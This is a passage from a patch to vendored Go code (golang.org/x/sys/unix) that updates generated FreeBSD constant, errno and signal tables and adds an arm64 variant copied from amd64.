-+ MNT_USER = 0x8000
-+ MNT_VISFLAGMASK = 0x3fef0ffff
-+ MNT_WAIT = 0x1
- MSG_CMSG_CLOEXEC = 0x40000
- MSG_COMPAT = 0x8000
- MSG_CTRUNC = 0x20
-@@ -1013,6 +1079,7 @@ const (
- NET_RT_IFLIST = 0x3
- NET_RT_IFLISTL = 0x5
- NET_RT_IFMALIST = 0x4
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOKERNINFO = 0x2000000
- NOTE_ATTRIB = 0x8
-@@ -1304,6 +1371,35 @@ const (
- SO_USELOOPBACK = 0x40
- SO_USER_COOKIE = 0x1015
- SO_VENDOR = 0x80000000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFWHT = 0xe000
-+ S_IREAD = 0x100
-+ S_IRGRP = 0x20
-+ S_IROTH = 0x4
-+ S_IRUSR = 0x100
-+ S_IRWXG = 0x38
-+ S_IRWXO = 0x7
-+ S_IRWXU = 0x1c0
-+ S_ISGID = 0x400
-+ S_ISTXT = 0x200
-+ S_ISUID = 0x800
-+ S_ISVTX = 0x200
-+ S_IWGRP = 0x10
-+ S_IWOTH = 0x2
-+ S_IWRITE = 0x80
-+ S_IWUSR = 0x80
-+ S_IXGRP = 0x8
-+ S_IXOTH = 0x1
-+ S_IXUSR = 0x40
- TAB0 = 0x0
- TAB3 = 0x4
- TABDLY = 0x4
-@@ -1578,138 +1674,146 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "operation timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "operation canceled",
-- 86: "illegal byte sequence",
-- 87: "attribute not found",
-- 88: "programming error",
-- 89: "bad message",
-- 90: "multihop attempted",
-- 91: "link has been severed",
-- 92: "protocol error",
-- 93: "capabilities insufficient",
-- 94: "not permitted in capability mode",
-- 95: "state not recoverable",
-- 96: "previous owner died",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "operation timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "ECANCELED", "operation canceled"},
-+ {86, "EILSEQ", "illegal byte sequence"},
-+ {87, "ENOATTR", "attribute not found"},
-+ {88, "EDOOFUS", "programming error"},
-+ {89, "EBADMSG", "bad message"},
-+ {90, "EMULTIHOP", "multihop attempted"},
-+ {91, "ENOLINK", "link has been severed"},
-+ {92, "EPROTO", "protocol error"},
-+ {93, "ENOTCAPABLE", "capabilities insufficient"},
-+ {94, "ECAPMODE", "not permitted in capability mode"},
-+ {95, "ENOTRECOVERABLE", "state not recoverable"},
-+ {96, "EOWNERDEAD", "previous owner died"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "suspended (signal)",
-- 18: "suspended",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "unknown signal",
-- 33: "unknown signal",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "suspended (signal)"},
-+ {18, "SIGTSTP", "suspended"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGTHR", "unknown signal"},
-+ {33, "SIGLIBRT", "unknown signal"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm64.go
-similarity index 80%
-copy from vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zerrors_freebsd_arm64.go
-index ac094f9c..5e49769d 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_freebsd_arm64.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m64
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build amd64,freebsd
-+// +build arm64,freebsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -351,8 +351,26 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0x18
- CTL_NET = 0x4
-+ DIOCGATTR = 0xc148648e
-+ DIOCGDELETE = 0x80106488
-+ DIOCGFLUSH = 0x20006487
-+ DIOCGFRONTSTUFF = 0x40086486
-+ DIOCGFWHEADS = 0x40046483
-+ DIOCGFWSECTORS = 0x40046482
-+ DIOCGIDENT = 0x41006489
-+ DIOCGMEDIASIZE = 0x40086481
-+ DIOCGPHYSPATH = 0x4400648d
-+ DIOCGPROVIDERNAME = 0x4400648a
-+ DIOCGSECTORSIZE = 0x40046480
-+ DIOCGSTRIPEOFFSET = 0x4008648c
-+ DIOCGSTRIPESIZE = 0x4008648b
-+ DIOCSKERNELDUMP = 0x80506490
-+ DIOCSKERNELDUMP_FREEBSD11 = 0x80046485
-+ DIOCZONECMD = 0xc080648f
- DLT_A429 = 0xb8
- DLT_A653_ICM = 0xb9
- DLT_AIRONET_HEADER = 0x78
-@@ -377,11 +395,14 @@ const (
- DLT_CHAOS = 0x5
- DLT_CHDLC = 0x68
- DLT_CISCO_IOS = 0x76
-+ DLT_CLASS_NETBSD_RAWAF = 0x2240000
- DLT_C_HDLC = 0x68
- DLT_C_HDLC_WITH_DIR = 0xcd
- DLT_DBUS = 0xe7
- DLT_DECT = 0xdd
-+ DLT_DISPLAYPORT_AUX = 0x113
- DLT_DOCSIS = 0x8f
-+ DLT_DOCSIS31_XRA31 = 0x111
- DLT_DVB_CI = 0xeb
- DLT_ECONET = 0x73
- DLT_EN10MB = 0x1
-@@ -391,6 +412,7 @@ const (
- DLT_ERF = 0xc5
- DLT_ERF_ETH = 0xaf
- DLT_ERF_POS = 0xb0
-+ DLT_ETHERNET_MPACKET = 0x112
- DLT_FC_2 = 0xe0
- DLT_FC_2_WITH_FRAME_DELIMS = 0xe1
- DLT_FDDI = 0xa
-@@ -404,7 +426,6 @@ const (
- DLT_GPRS_LLC = 0xa9
- DLT_GSMTAP_ABIS = 0xda
- DLT_GSMTAP_UM = 0xd9
-- DLT_HHDLC = 0x79
- DLT_IBM_SN = 0x92
- DLT_IBM_SP = 0x91
- DLT_IEEE802 = 0x6
-@@ -427,6 +448,7 @@ const (
- DLT_IPV4 = 0xe4
- DLT_IPV6 = 0xe5
- DLT_IP_OVER_FC = 0x7a
-+ DLT_ISO_14443 = 0x108
- DLT_JUNIPER_ATM1 = 0x89
- DLT_JUNIPER_ATM2 = 0x87
- DLT_JUNIPER_ATM_CEMIC = 0xee
-@@ -459,8 +481,9 @@ const (
- DLT_LINUX_PPP_WITHDIRECTION = 0xa6
- DLT_LINUX_SLL = 0x71
- DLT_LOOP = 0x6c
-+ DLT_LORATAP = 0x10e
- DLT_LTALK = 0x72
-- DLT_MATCHING_MAX = 0x104
-+ DLT_MATCHING_MAX = 0x113
- DLT_MATCHING_MIN = 0x68
- DLT_MFR = 0xb6
- DLT_MOST = 0xd3
-@@ -476,14 +499,16 @@ const (
- DLT_NFC_LLCP = 0xf5
- DLT_NFLOG = 0xef
- DLT_NG40 = 0xf4
-+ DLT_NORDIC_BLE = 0x110
- DLT_NULL = 0x0
-+ DLT_OPENFLOW = 0x10b
- DLT_PCI_EXP = 0x7d
- DLT_PFLOG = 0x75
- DLT_PFSYNC = 0x79
- DLT_PKTAP = 0x102
- DLT_PPI = 0xc0
- DLT_PPP = 0x9
-- DLT_PPP_BSDOS = 0x10
-+ DLT_PPP_BSDOS = 0xe
- DLT_PPP_ETHER = 0x33
- DLT_PPP_PPPD = 0xa6
- DLT_PPP_SERIAL = 0x32
-@@ -494,19 +519,25 @@ const (
- DLT_PRONET = 0x4
- DLT_RAIF1 = 0xc6
- DLT_RAW = 0xc
-+ DLT_RDS = 0x109
-+ DLT_REDBACK_SMARTEDGE = 0x20
- DLT_RIO = 0x7c
- DLT_RTAC_SERIAL = 0xfa
- DLT_SCCP = 0x8e
- DLT_SCTP = 0xf8
-+ DLT_SDLC = 0x10c
- DLT_SITA = 0xc4
- DLT_SLIP = 0x8
-- DLT_SLIP_BSDOS = 0xf
-+ DLT_SLIP_BSDOS = 0xd
- DLT_STANAG_5066_D_PDU = 0xed
- DLT_SUNATM = 0x7b
- DLT_SYMANTEC_FIREWALL = 0x63
-+ DLT_TI_LLN_SNIFFER = 0x10d
- DLT_TZSP = 0x80
- DLT_USB = 0xba
- DLT_USBPCAP = 0xf9
-+ DLT_USB_DARWIN = 0x10a
-+ DLT_USB_FREEBSD = 0xba
- DLT_USB_LINUX = 0xbd
- DLT_USB_LINUX_MMAPPED = 0xdc
- DLT_USER0 = 0x93
-@@ -525,10 +556,14 @@ const (
- DLT_USER7 = 0x9a
- DLT_USER8 = 0x9b
- DLT_USER9 = 0x9c
-+ DLT_VSOCK = 0x10f
-+ DLT_WATTSTOPPER_DLM = 0x107
- DLT_WIHART = 0xdf
- DLT_WIRESHARK_UPPER_PDU = 0xfc
- DLT_X2E_SERIAL = 0xd5
- DLT_X2E_XORAYA = 0xd6
-+ DLT_ZWAVE_R1_R2 = 0x105
-+ DLT_ZWAVE_R3 = 0x106
- DT_BLK = 0x6
- DT_CHR = 0x2
- DT_DIR = 0x4
-@@ -546,6 +581,7 @@ const (
- ECHONL = 0x10
- ECHOPRT = 0x20
- EVFILT_AIO = -0x3
-+ EVFILT_EMPTY = -0xd
- EVFILT_FS = -0x9
- EVFILT_LIO = -0xa
- EVFILT_PROC = -0x5
-@@ -553,11 +589,12 @@ const (
- EVFILT_READ = -0x1
- EVFILT_SENDFILE = -0xc
- EVFILT_SIGNAL = -0x6
-- EVFILT_SYSCOUNT = 0xc
-+ EVFILT_SYSCOUNT = 0xd
- EVFILT_TIMER = -0x7
- EVFILT_USER = -0xb
- EVFILT_VNODE = -0x4
- EVFILT_WRITE = -0x2
-+ EVNAMEMAP_NAME_SIZE = 0x40
- EV_ADD = 0x1
- EV_CLEAR = 0x20
- EV_DELETE = 0x2
-@@ -574,6 +611,7 @@ const (
- EV_RECEIPT = 0x40
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_MAXNAMELEN = 0xff
- EXTATTR_NAMESPACE_EMPTY = 0x0
- EXTATTR_NAMESPACE_SYSTEM = 0x2
- EXTATTR_NAMESPACE_USER = 0x1
-@@ -608,12 +646,14 @@ const (
- F_UNLCKSYS = 0x4
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
- IEXTEN = 0x400
- IFAN_ARRIVAL = 0x0
- IFAN_DEPARTURE = 0x1
-+ IFCAP_WOL_MAGIC = 0x2000
- IFF_ALLMULTI = 0x200
- IFF_ALTPHYS = 0x4000
- IFF_BROADCAST = 0x2
-@@ -630,6 +670,7 @@ const (
- IFF_MONITOR = 0x40000
- IFF_MULTICAST = 0x8000
- IFF_NOARP = 0x80
-+ IFF_NOGROUP = 0x800000
- IFF_OACTIVE = 0x400
- IFF_POINTOPOINT = 0x10
- IFF_PPROMISC = 0x20000
-@@ -804,6 +845,7 @@ const (
- IPV6_DSTOPTS = 0x32
- IPV6_FLOWID = 0x43
- IPV6_FLOWINFO_MASK = 0xffffff0f
-+ IPV6_FLOWLABEL_LEN = 0x14
- IPV6_FLOWLABEL_MASK = 0xffff0f00
- IPV6_FLOWTYPE = 0x44
- IPV6_FRAGTTL = 0x78
-@@ -824,13 +866,13 @@ const (
- IPV6_MAX_GROUP_SRC_FILTER = 0x200
- IPV6_MAX_MEMBERSHIPS = 0xfff
- IPV6_MAX_SOCK_SRC_FILTER = 0x80
-- IPV6_MIN_MEMBERSHIPS = 0x1f
- IPV6_MMTU = 0x500
- IPV6_MSFILTER = 0x4a
- IPV6_MULTICAST_HOPS = 0xa
- IPV6_MULTICAST_IF = 0x9
- IPV6_MULTICAST_LOOP = 0xb
- IPV6_NEXTHOP = 0x30
-+ IPV6_ORIGDSTADDR = 0x48
- IPV6_PATHMTU = 0x2c
- IPV6_PKTINFO = 0x2e
- IPV6_PORTRANGE = 0xe
-@@ -842,6 +884,7 @@ const (
- IPV6_RECVFLOWID = 0x46
- IPV6_RECVHOPLIMIT = 0x25
- IPV6_RECVHOPOPTS = 0x27
-+ IPV6_RECVORIGDSTADDR = 0x48
- IPV6_RECVPATHMTU = 0x2b
- IPV6_RECVPKTINFO = 0x24
- IPV6_RECVRSSBUCKETID = 0x47
-@@ -902,10 +945,8 @@ const (
- IP_MAX_MEMBERSHIPS = 0xfff
- IP_MAX_SOCK_MUTE_FILTER = 0x80
- IP_MAX_SOCK_SRC_FILTER = 0x80
-- IP_MAX_SOURCE_FILTER = 0x400
- IP_MF = 0x2000
- IP_MINTTL = 0x42
-- IP_MIN_MEMBERSHIPS = 0x1f
- IP_MSFILTER = 0x4a
- IP_MSS = 0x240
- IP_MULTICAST_IF = 0x9
-@@ -915,6 +956,7 @@ const (
- IP_OFFMASK = 0x1fff
- IP_ONESBCAST = 0x17
- IP_OPTIONS = 0x1
-+ IP_ORIGDSTADDR = 0x1b
- IP_PORTRANGE = 0x13
- IP_PORTRANGE_DEFAULT = 0x0
- IP_PORTRANGE_HIGH = 0x1
-@@ -923,6 +965,7 @@ const (
- IP_RECVFLOWID = 0x5d
- IP_RECVIF = 0x14
- IP_RECVOPTS = 0x5
-+ IP_RECVORIGDSTADDR = 0x1b
- IP_RECVRETOPTS = 0x6
- IP_RECVRSSBUCKETID = 0x5e
- IP_RECVTOS = 0x44
-@@ -944,6 +987,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -969,6 +1016,7 @@ const (
- MAP_EXCL = 0x4000
- MAP_FILE = 0x0
- MAP_FIXED = 0x10
-+ MAP_GUARD = 0x2000
- MAP_HASSEMAPHORE = 0x200
- MAP_NOCORE = 0x20000
- MAP_NOSYNC = 0x800
-@@ -980,8 +1028,62 @@ const (
- MAP_RESERVED0100 = 0x100
- MAP_SHARED = 0x1
- MAP_STACK = 0x400
-+ MCAST_BLOCK_SOURCE = 0x54
-+ MCAST_EXCLUDE = 0x2
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x50
-+ MCAST_JOIN_SOURCE_GROUP = 0x52
-+ MCAST_LEAVE_GROUP = 0x51
-+ MCAST_LEAVE_SOURCE_GROUP = 0x53
-+ MCAST_UNBLOCK_SOURCE = 0x55
-+ MCAST_UNDEFINED = 0x0
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ACLS = 0x8000000
-+ MNT_ASYNC = 0x40
-+ MNT_AUTOMOUNTED = 0x200000000
-+ MNT_BYFSID = 0x8000000
-+ MNT_CMDFLAGS = 0xd0f0000
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DELEXPORT = 0x20000
-+ MNT_EXKERB = 0x800
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x20000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_FORCE = 0x80000
-+ MNT_GJOURNAL = 0x2000000
-+ MNT_IGNORE = 0x800000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_MULTILABEL = 0x4000000
-+ MNT_NFS4ACLS = 0x10
-+ MNT_NOATIME = 0x10000000
-+ MNT_NOCLUSTERR = 0x40000000
-+ MNT_NOCLUSTERW = 0x80000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NONBUSY = 0x4000000
-+ MNT_NOSUID = 0x8
-+ MNT_NOSYMFOLLOW = 0x400000
-+ MNT_NOWAIT = 0x2
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SNAPSHOT = 0x1000000
-+ MNT_SOFTDEP = 0x200000
-+ MNT_SUIDDIR = 0x100000
-+ MNT_SUJ = 0x100000000
-+ MNT_SUSPEND = 0x4
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UNTRUSTED = 0x800000000
-+ MNT_UPDATE = 0x10000
-+ MNT_UPDATEMASK = 0xad8d0807e
-+ MNT_USER = 0x8000
-+ MNT_VERIFIED = 0x400000000
-+ MNT_VISFLAGMASK = 0xffef0ffff
-+ MNT_WAIT = 0x1
- MSG_CMSG_CLOEXEC = 0x40000
- MSG_COMPAT = 0x8000
- MSG_CTRUNC = 0x20
-@@ -1006,8 +1108,10 @@ const (
- NET_RT_IFLIST = 0x3
- NET_RT_IFLISTL = 0x5
- NET_RT_IFMALIST = 0x4
-+ NFDBITS = 0x40
- NOFLSH = 0x80000000
- NOKERNINFO = 0x2000000
-+ NOTE_ABSTIME = 0x10
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
- NOTE_CLOSE = 0x100
-@@ -1162,7 +1266,6 @@ const (
- RTV_WEIGHT = 0x100
- RT_ALL_FIBS = -0x1
- RT_BLACKHOLE = 0x40
-- RT_CACHING_CONTEXT = 0x1
- RT_DEFAULT_FIB = 0x0
- RT_HAS_GW = 0x80
- RT_HAS_HEADER = 0x10
-@@ -1172,15 +1275,17 @@ const (
- RT_LLE_CACHE = 0x100
- RT_MAY_LOOP = 0x8
- RT_MAY_LOOP_BIT = 0x3
-- RT_NORTREF = 0x2
- RT_REJECT = 0x20
- RUSAGE_CHILDREN = -0x1
- RUSAGE_SELF = 0x0
- RUSAGE_THREAD = 0x1
- SCM_BINTIME = 0x4
- SCM_CREDS = 0x3
-+ SCM_MONOTONIC = 0x6
-+ SCM_REALTIME = 0x5
- SCM_RIGHTS = 0x1
- SCM_TIMESTAMP = 0x2
-+ SCM_TIME_INFO = 0x7
- SHUT_RD = 0x0
- SHUT_RDWR = 0x2
- SHUT_WR = 0x1
-@@ -1196,6 +1301,7 @@ const (
- SIOCGETSGCNT = 0xc0207210
- SIOCGETVIFCNT = 0xc028720f
- SIOCGHIWAT = 0x40047301
-+ SIOCGHWADDR = 0xc020693e
- SIOCGI2C = 0xc020693d
- SIOCGIFADDR = 0xc0206921
- SIOCGIFBRDADDR = 0xc0206923
-@@ -1217,8 +1323,11 @@ const (
- SIOCGIFPDSTADDR = 0xc0206948
- SIOCGIFPHYS = 0xc0206935
- SIOCGIFPSRCADDR = 0xc0206947
-+ SIOCGIFRSSHASH = 0xc0186997
-+ SIOCGIFRSSKEY = 0xc0946996
- SIOCGIFSTATUS = 0xc331693b
- SIOCGIFXMEDIA = 0xc030698b
-+ SIOCGLANPCP = 0xc0206998
- SIOCGLOWAT = 0x40047303
- SIOCGPGRP = 0x40047309
- SIOCGPRIVATE_0 = 0xc0206950
-@@ -1249,6 +1358,7 @@ const (
- SIOCSIFPHYS = 0x80206936
- SIOCSIFRVNET = 0xc020695b
- SIOCSIFVNET = 0xc020695a
-+ SIOCSLANPCP = 0x80206999
- SIOCSLOWAT = 0x80047302
- SIOCSPGRP = 0x80047308
- SIOCSTUNFIB = 0x8020695f
-@@ -1267,6 +1377,7 @@ const (
- SO_BINTIME = 0x2000
- SO_BROADCAST = 0x20
- SO_DEBUG = 0x1
-+ SO_DOMAIN = 0x1019
- SO_DONTROUTE = 0x10
- SO_ERROR = 0x1007
- SO_KEEPALIVE = 0x8
-@@ -1275,6 +1386,7 @@ const (
- SO_LISTENINCQLEN = 0x1013
- SO_LISTENQLEN = 0x1012
- SO_LISTENQLIMIT = 0x1011
-+ SO_MAX_PACING_RATE = 0x1018
- SO_NOSIGPIPE = 0x800
- SO_NO_DDP = 0x8000
- SO_NO_OFFLOAD = 0x4000
-@@ -1287,15 +1399,52 @@ const (
- SO_RCVTIMEO = 0x1006
- SO_REUSEADDR = 0x4
- SO_REUSEPORT = 0x200
-+ SO_REUSEPORT_LB = 0x10000
- SO_SETFIB = 0x1014
- SO_SNDBUF = 0x1001
- SO_SNDLOWAT = 0x1003
- SO_SNDTIMEO = 0x1005
- SO_TIMESTAMP = 0x400
-+ SO_TS_BINTIME = 0x1
-+ SO_TS_CLOCK = 0x1017
-+ SO_TS_CLOCK_MAX = 0x3
-+ SO_TS_DEFAULT = 0x0
-+ SO_TS_MONOTONIC = 0x3
-+ SO_TS_REALTIME = 0x2
-+ SO_TS_REALTIME_MICRO = 0x0
- SO_TYPE = 0x1008
- SO_USELOOPBACK = 0x40
- SO_USER_COOKIE = 0x1015
- SO_VENDOR = 0x80000000
-+ S_BLKSIZE = 0x200
-+ S_IEXEC = 0x40
-+ S_IFBLK = 0x6000
-+ S_IFCHR = 0x2000
-+ S_IFDIR = 0x4000
-+ S_IFIFO = 0x1000
-+ S_IFLNK = 0xa000
-+ S_IFMT = 0xf000
-+ S_IFREG = 0x8000
-+ S_IFSOCK = 0xc000
-+ S_IFWHT = 0xe000
-+ S_IREAD = 0x100
